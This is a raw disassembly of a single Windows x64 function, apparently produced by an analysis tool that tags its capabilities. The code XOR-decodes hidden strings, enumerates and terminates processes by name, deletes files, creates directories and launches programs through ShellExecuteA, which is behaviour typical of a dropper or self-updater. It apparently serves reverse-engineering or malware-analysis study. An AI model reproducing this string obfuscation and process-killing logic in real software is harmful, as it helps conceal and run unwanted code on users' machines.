Function at 0x1400512e0
Capabilities:
Create directory
Create process on windows
Delete file
Encode data using xor
Enumerate processes
Move file
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x630]
sub rsp, 0x730
xor ebx, ebx
mov qword [0x1400b3d60], rbx
lea rax, [0x1400b3d50]
cmp qword [0x1400b3d68], 0xf
cmova rax, qword [0x1400b3d50]
mov byte [rax], bl
mov dword [rsp + 0x30], 0xe3eea6f8
mov dword [rsp + 0x34], 0xa8b3aafe
mov dword [rsp + 0x38], 0xf3afe8ae
mov byte [rsp + 0x3c], 0x8f
mov ecx, ebx
lea rdx, [rsp + 0x30]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xc
jb 0x140051340
mov byte [rsp + 0x3c], bl
xor r9d, r9d
lea r8, [rsp + 0x30]
mov edx, 0x104
lea rcx, [rbp + 0x300]
call fcn.14004b130
mov dword [rbp + 0x660], 0xf5f7e1f5
mov dword [rbp + 0x664], 0x8ae7e7ee
mov ecx, ebx
lea rdx, [rbp + 0x660]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 7
jb 0x140051390
mov byte [rbp + 0x667], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rbx
lea rax, [rbp + 0x660]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], bl
jne 0x1400513c6
lea rdx, [rbp + 0x660]
lea rcx, [rbp - 0x60]
call fcn.1400608e0
movdqa xmm0, xmmword [0x1400a5660]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xe4f0c2e7
mov dword [rsp + 0x5c], 0xf4f6f1e4
mov byte [rsp + 0x60], 0x9b
mov ecx, ebx
lea rdx, [rsp + 0x48]
nop dword [rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x18
jb 0x140051410
mov byte [rsp + 0x60], bl
movdqa xmm0, xmmword [0x1400a5450]
movdqu xmmword [rsp + 0x30], xmm0
mov ecx, ebx
lea rdx, [rsp + 0x30]
nop dword [rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140051440
mov byte [rsp + 0x3f], bl
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
lea rdx, [rsp + 0x30]
lea rcx, [rbp]
call fcn.140050e60
nop
mov dword [rbp + 0x668], 0xe3f0f6f7
mov byte [rbp + 0x66c], 0x87
mov ecx, ebx
lea rdx, [rbp + 0x668]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 4
jb 0x1400514a0
mov byte [rbp + 0x66c], 0
lea rax, [rbp - 0x40]
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x660], 0x86e2f7ee
mov ecx, ebx
lea rdx, [rbp + 0x660]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 3
jb 0x1400514e0
mov byte [rbp + 0x663], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
lea rax, [rbp + 0x660]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140051510
lea rdx, [rbp + 0x660]
lea rcx, [rbp - 0x40]
call fcn.1400608e0
nop
lea rdx, [rbp]
lea rcx, [rsp + 0x68]
call fcn.14005e950
nop
lea r8, [rbp - 0x40]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14004d7c0
mov rcx, rax
lea rdx, [rbp + 0x668]
mov rax, rdi
inc rax
cmp byte [rdx + rax], 0
jne 0x140051557
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x14005156e
mov rcx, qword [rcx]
cmp r8, rax
jne 0x140051588
lea rdx, [rbp + 0x668]
call fcn.1400917e0
test eax, eax
jne 0x140051588
mov sil, 1
jmp 0x14005158b
xor sil, sil
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x1400515c6
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400515c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529d4
call fcn.1400624fc
test sil, sil
je 0x140052910
mov word [rbp + 0x660], 0x2c
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea rax, [rbp + 0x660]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400515f3
lea rdx, [rbp + 0x660]
lea rcx, [rsp + 0x68]
call fcn.1400608e0
nop
lea rax, [rbp + 0x98]
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x660], 0xe7f1e5e7
mov byte [rbp + 0x664], 0x87
mov ecx, ebx
lea rdx, [rbp + 0x660]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 4
jb 0x140051640
mov byte [rbp + 0x664], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], rbx
mov qword [rbp + 0xb0], rbx
lea rax, [rbp + 0x660]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051680
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x98]
call fcn.1400608e0
nop
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call fcn.14005e950
nop
lea r8, [rbp + 0x98]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14004d7c0
nop
lea r8, [rsp + 0x68]
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.14004db40
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14005170d
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051708
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529da
call fcn.1400624fc
movdqa xmm0, xmmword [0x1400a5090]
movdqu xmmword [rbp + 0x58], xmm0
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14005175a
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051755
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529e0
call fcn.1400624fc
mov rax, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x40]
sub rax, rdx
sar rax, 5
cmp rax, 4
jne 0x140051792
add rdx, 0x60
lea rcx, [0x1400b3dd0]
cmp rcx, rdx
je 0x140051792
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14005178d
mov rdx, qword [rdx]
call fcn.14005f310
lea r9, [0x1400b61c0]
cmp qword [0x1400b61d8], 0xf
cmova r9, qword [0x1400b61c0]
mov dword [rsp + 0x30], 0xeed9f7a6
mov dword [rsp + 0x34], 0xeea7ecee
mov word [rsp + 0x38], 0xe0e7
mov byte [rsp + 0x3a], 0x8d
mov ecx, ebx
lea rdx, [rsp + 0x30]
nop dword [rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xa
jb 0x1400517d0
mov byte [rsp + 0x3a], 0
lea r8, [rsp + 0x30]
mov edx, 0x104
lea rcx, [rbp + 0xc0]
call fcn.14004b130
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xc0]
call fcn.14007687c
mov rcx, qword [rbp - 0x40]
cmp qword [rcx + 0x18], 0xf
jbe 0x140051819
mov rcx, qword [rcx]
call fcn.140077ab4
cmp dword [rbp + 0x7c], eax
je 0x140051efb
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rsp + 0x30], 0xe7e0f0f0
mov dword [rsp + 0x34], 0xf2eca6ea
mov word [rsp + 0x38], 0x8cee
mov ecx, ebx
lea rdx, [rsp + 0x30]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 9
jb 0x140051852
mov byte [rsp + 0x39], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
lea rax, [rsp + 0x30]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140051881
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.1400608e0
xor edx, edx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
mov dword [rbp + 0x1d0], 0x130
lea rdx, [rbp + 0x1d0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140051937
nop word [rax + rax]
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rdx, qword [rsp + 0x48]
lea rcx, [rbp + 0x1fc]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140051923
mov r8d, dword [rbp + 0x1d8]
xor edx, edx
lea ecx, [rax + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140051923
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x1d0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400518d0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14005197d
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051978
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529e6
call fcn.1400624fc
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400a54c0]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xb4b5d9da
mov dword [rsp + 0x5c], 0xfbfcece4
mov dword [rsp + 0x60], 0xe6f8b2f6
mov word [rsp + 0x64], 0x82fa
mov byte [rsp + 0x66], 0xa1
mov ecx, ebx
lea rdx, [rsp + 0x48]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1e
jb 0x1400519c1
mov byte [rsp + 0x66], 0
mov dword [rbp + 0x660], 0x86e1e9e0
mov ecx, ebx
lea rdx, [rbp + 0x660]
nop dword [rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 3
jb 0x1400519f0
mov byte [rbp + 0x663], 0
mov dword [rbp + 0x668], 0xe8e0f4ec
mov byte [rbp + 0x66c], 0x87
mov ecx, ebx
lea rdx, [rbp + 0x668]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 4
jb 0x140051a21
mov byte [rbp + 0x66c], 0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x48]
lea r8, [rbp + 0x660]
lea rdx, [rbp + 0x668]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400a5640]
movdqu xmmword [rsp + 0x68], xmm0
movdqa xmm1, xmmword [0x1400a5520]
movdqu xmmword [rsp + 0x78], xmm1
movdqa xmm0, xmmword [0x1400a55b0]
movdqu xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x68], 0xe595dadc
mov dword [rbp - 0x64], 0xbac9d7c3
mov ecx, ebx
lea rdx, [rsp + 0x68]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x37
jb 0x140051ab0
mov byte [rbp - 0x61], 0
lea r9, [rbp + 0xc0]
lea r8, [rsp + 0x68]
mov edx, 0x104
lea rcx, [rbp + 0x410]
call fcn.14004b130
mov dword [rsp + 0x30], 0xe3f2ebf3
mov dword [rsp + 0x34], 0xefe1fbf5
mov word [rsp + 0x38], 0xe0e7
mov byte [rsp + 0x3a], 0x8d
mov ecx, ebx
lea rdx, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xa
jb 0x140051b10
mov byte [rsp + 0x3a], 0
mov dword [rbp + 0x660], 0xe8e0f4ec
mov byte [rbp + 0x664], 0x87
mov ecx, ebx
lea rdx, [rbp + 0x660]
nop
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 4
jb 0x140051b40
mov byte [rbp + 0x664], 0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x410]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x660]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400a5480]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xf9f9b6a9
mov dword [rsp + 0x5c], 0xe7bbfcf6
mov byte [rsp + 0x60], 0x9b
mov ecx, ebx
lea rdx, [rsp + 0x48]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x18
jb 0x140051bb0
mov byte [rsp + 0x60], 0
xor r9d, r9d
lea r8, [rsp + 0x48]
mov edx, 0x104
lea rcx, [rbp + 0x300]
call fcn.14004b130
lea rax, [rsp + 0x68]
mov qword [rbp + 0x668], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rbx
lea rax, [rbp + 0xc0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140051c05
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x68]
call fcn.1400608e0
nop
mov dword [rbp + 0x660], 0xefc3f3e7
mov word [rbp + 0x664], 0xedeb
mov byte [rbp + 0x666], 0x89
mov ecx, ebx
lea rdx, [rbp + 0x660]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 6
jb 0x140051c50
mov byte [rbp + 0x666], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rbx
lea rax, [rbp + 0x660]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140051c80
lea rdx, [rbp + 0x660]
lea rcx, [rbp - 0x60]
call fcn.1400608e0
movdqa xmm0, xmmword [0x1400a5680]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xe1fad0eb
mov dword [rsp + 0x5c], 0xf6f0def9
mov word [rsp + 0x60], 0x9cfe
mov ecx, ebx
lea rdx, [rsp + 0x48]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x19
jb 0x140051cd0
mov byte [rsp + 0x61], 0
movdqa xmm0, xmmword [0x1400a5450]
movdqu xmmword [rsp + 0x30], xmm0
mov ecx, ebx
lea rdx, [rsp + 0x30]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140051d00
mov byte [rsp + 0x3f], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x300]
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x30]
call fcn.140050010
test al, al
jne 0x140051e13
movdqa xmm0, xmmword [0x1400a5330]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xa70380f
mov dword [rsp + 0x5c], 0x2b3d7d27
mov dword [rsp + 0x60], 0xbf382873
mov byte [rsp + 0x64], 0x9f
lea rcx, [rsp + 0x48]
nop word [rax + rax]
lea eax, [rbx - 0x7d]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x1c
jb 0x140051d80
mov byte [rsp + 0x64], 0
lea rax, [rsp + 0x48]
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140051da0
mov r8, rdi
lea rdx, [rsp + 0x48]
lea rcx, [0x1400b3d50]
call fcn.14005f310
nop
lea rcx, [rbp - 0x40]
call fcn.14005e730
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140051e03
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051dfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529c2
call fcn.1400624fc
xor al, al
add rsp, 0x730
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xc0]
call fcn.14007687c
mov rcx, qword [rbp - 0x40]
cmp qword [rcx + 0x18], 0xf
jbe 0x140051e31
mov rcx, qword [rcx]
call fcn.140077ab4
cmp dword [rbp + 0x7c], eax
je 0x140051efb
movdqa xmm0, xmmword [0x1400a5330]
movdqu xmmword [rsp + 0x68], xmm0
movdqa xmm1, xmmword [0x1400a5200]
movdqu xmmword [rsp + 0x78], xmm1
mov word [rbp - 0x78], 0x852c
mov byte [rbp - 0x76], 0xa5
lea rcx, [rsp + 0x68]
nop word [rax + rax]
lea eax, [rbx - 0x7d]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x22
jb 0x140051e70
mov byte [rbp - 0x76], 0
lea rax, [rsp + 0x68]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140051e90
mov r8, rdi
lea rdx, [rsp + 0x68]
lea rcx, [0x1400b3d50]
call fcn.14005f310
nop
lea rcx, [rbp - 0x40]
call fcn.14005e730
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140051e03
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051dfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529c2
jmp 0x140051dfe
lea rsi, [0x1400b61a0]
mov r9, rsi
cmp qword [0x1400b61b8], 0xf
cmova r9, qword [0x1400b61a0]
mov dword [rsp + 0x30], 0xf5d9f7a6
mov dword [rsp + 0x34], 0xe7e8edf3
mov dword [rsp + 0x38], 0xe7f9efca
mov word [rsp + 0x3c], 0xf5f9
mov byte [rsp + 0x3e], 0x91
mov ecx, ebx
lea rdx, [rsp + 0x30]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xe
jb 0x140051f40
mov byte [rsp + 0x3e], 0
lea r8, [rsp + 0x30]
mov edx, 0x104
lea rcx, [rbp + 0xc0]
call fcn.14004b130
mov edx, 2
lea rcx, [rbp + 0xc0]
call fcn.14007608c
test eax, eax
je 0x140051f8f
xor edx, edx
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp qword [0x1400b61b8], 0xf
cmova rsi, qword [0x1400b61a0]
movdqa xmm0, xmmword [0x1400a5670]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], 0xf0fa
mov byte [rsp + 0x42], 0x95
mov ecx, ebx
lea rdx, [rsp + 0x30]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x12
jb 0x140051fc0
mov byte [rsp + 0x42], 0
mov r9, rsi
lea r8, [rsp + 0x30]
mov edx, 0x104
lea rcx, [rbp + 0xc0]
call fcn.14004b130
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xc0]
call fcn.14007687c
mov rcx, qword [rbp - 0x40]
add rcx, 0x20
cmp qword [rcx + 0x18], 0xf
jbe 0x140052010
mov rcx, qword [rcx]
call fcn.140077ab4
cmp dword [rbp + 0x7c], eax
je 0x140052323
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x1400a5480]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xf3feb6a9
mov dword [rsp + 0x5c], 0xf6fcf6e5
mov word [rsp + 0x60], 0xe1b9
mov byte [rsp + 0x62], 0x9d
mov ecx, ebx
lea rdx, [rsp + 0x48]
nop dword [rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1a
jb 0x140052060
mov byte [rsp + 0x62], 0
xor r9d, r9d
lea r8, [rsp + 0x48]
mov edx, 0x104
lea rcx, [rbp + 0x300]
call fcn.14004b130
lea rax, [rsp + 0x68]
mov qword [rbp + 0x668], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rbx
lea rax, [rbp + 0xc0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400520b5
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x68]
call fcn.1400608e0
nop
mov dword [rbp + 0x660], 0xefc3f3e7
mov word [rbp + 0x664], 0xedeb
mov byte [rbp + 0x666], 0x89
mov ecx, ebx
lea rdx, [rbp + 0x660]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 6
jb 0x140052100
mov byte [rbp + 0x666], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rbx
lea rax, [rbp + 0x660]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140052130
lea rdx, [rbp + 0x660]
lea rcx, [rbp - 0x60]
call fcn.1400608e0
movdqa xmm0, xmmword [0x1400a5680]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xe1fad0eb
mov dword [rsp + 0x5c], 0xf6f0def9
mov word [rsp + 0x60], 0x9cfe
mov ecx, ebx
lea rdx, [rsp + 0x48]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x19
jb 0x140052180
mov byte [rsp + 0x61], 0
movdqa xmm0, xmmword [0x1400a5450]
movdqu xmmword [rsp + 0x30], xmm0
mov ecx, ebx
lea rdx, [rsp + 0x30]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x1400521b0
mov byte [rsp + 0x3f], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x300]
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x30]
call fcn.140050010
test al, al
jne 0x14005229b
movdqa xmm0, xmmword [0x1400a53c0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x96b43127
lea rcx, [rsp + 0x30]
lea eax, [rbx - 0x7d]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x13
jb 0x140052211
mov byte [rsp + 0x43], 0
lea rax, [rsp + 0x30]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140052230
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [0x1400b3d50]
call fcn.14005f310
nop
lea rcx, [rbp - 0x40]
call fcn.14005e730
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140051e03
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051dfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400529c8
jmp 0x140051dfe
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xc0]
call fcn.14007687c
mov rcx, qword [rbp - 0x40]
add rcx, 0x20
cmp qword [rcx + 0x18], 0xf
jbe 0x1400522bd
mov rcx, qword [rcx]
call fcn.140077ab4
cmp dword [rbp + 0x7c], eax
je 0x140052323
movdqa xmm0, xmmword [0x1400a5310]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0x1b733a1e
mov dword [rsp + 0x5c], 0x15047d08
mov word [rsp + 0x60], 0x9cba
lea rcx, [rsp + 0x48]
lea eax, [rbx - 0x7d]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x19
jb 0x1400522f1
mov byte [rsp + 0x61], 0
lea rax, [rsp + 0x48]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140052310
lea rdx, [rsp + 0x48]
jmp 0x14005223e
mov dword [rbp + 0x660], 0x86fdebe1
mov ecx, ebx
lea rdx, [rbp + 0x660]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 3
jb 0x140052340
mov byte [rbp + 0x663], 0
lea r8, [rbp + 0x660]
mov edx, 0x104
lea rcx, [rbp + 0xc0]
call fcn.14004b130
mov r8d, 0x104
lea rdx, [rbp + 0x520]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x520]
call fcn.14007687c
mov rcx, qword [rbp - 0x40]
add rcx, 0x40
cmp qword [rcx + 0x18], 0xf
jbe 0x1400523a6
mov rcx, qword [rcx]
call fcn.140077ab4
cmp dword [rbp + 0x7c], eax
je 0x1400528bb
movdqa xmm0, xmmword [0x1400a5480]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xf9f7b6a9
mov dword [rsp + 0x5c], 0xfee9cdef
mov dword [rsp + 0x60], 0xbcf8e8fa
mov word [rsp + 0x64], 0xa0e2
mov ecx, ebx
lea rdx, [rsp + 0x48]
nop dword [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1d
jb 0x1400523f0
mov byte [rsp + 0x65], 0
xor r9d, r9d
lea r8, [rsp + 0x48]
mov edx, 0x104
lea rcx, [rbp + 0x300]
call fcn.14004b130
lea rax, [rsp + 0x68]
mov qword [rbp + 0x668], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rbx
lea rax, [rbp + 0xc0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140052445
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x68]
call fcn.1400608e0
nop
mov dword [rbp + 0x660], 0xefc3f3e7
mov word [rbp + 0x664], 0xedeb
mov byte [rbp + 0x666], 0x89
mov ecx, ebx
lea rdx, [rbp + 0x660]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 6
jb 0x140052490
mov byte [rbp + 0x666], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rbx
lea rax, [rbp + 0x660]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400524c0
lea rdx, [rbp + 0x660]
lea rcx, [rbp - 0x60]
call fcn.1400608e0
movdqa xmm0, xmmword [0x1400a5680]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xe1fad0eb
mov dword [rsp + 0x5c], 0xf6f0def9
mov word [rsp + 0x60], 0x9cfe
mov ecx, ebx
lea rdx, [rsp + 0x48]
nop word [rax + rax]
lea eax, [rcx - 0x7d]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x19
jb 0x140052510
mov byte [rsp + 0x61], 0
movdqa xmm0, xmmword [0x1400a5450]
movdqu xmmword [rsp + 0x30], xmm0
mov ecx, ebx
lea rdx, [rsp + 0x30]
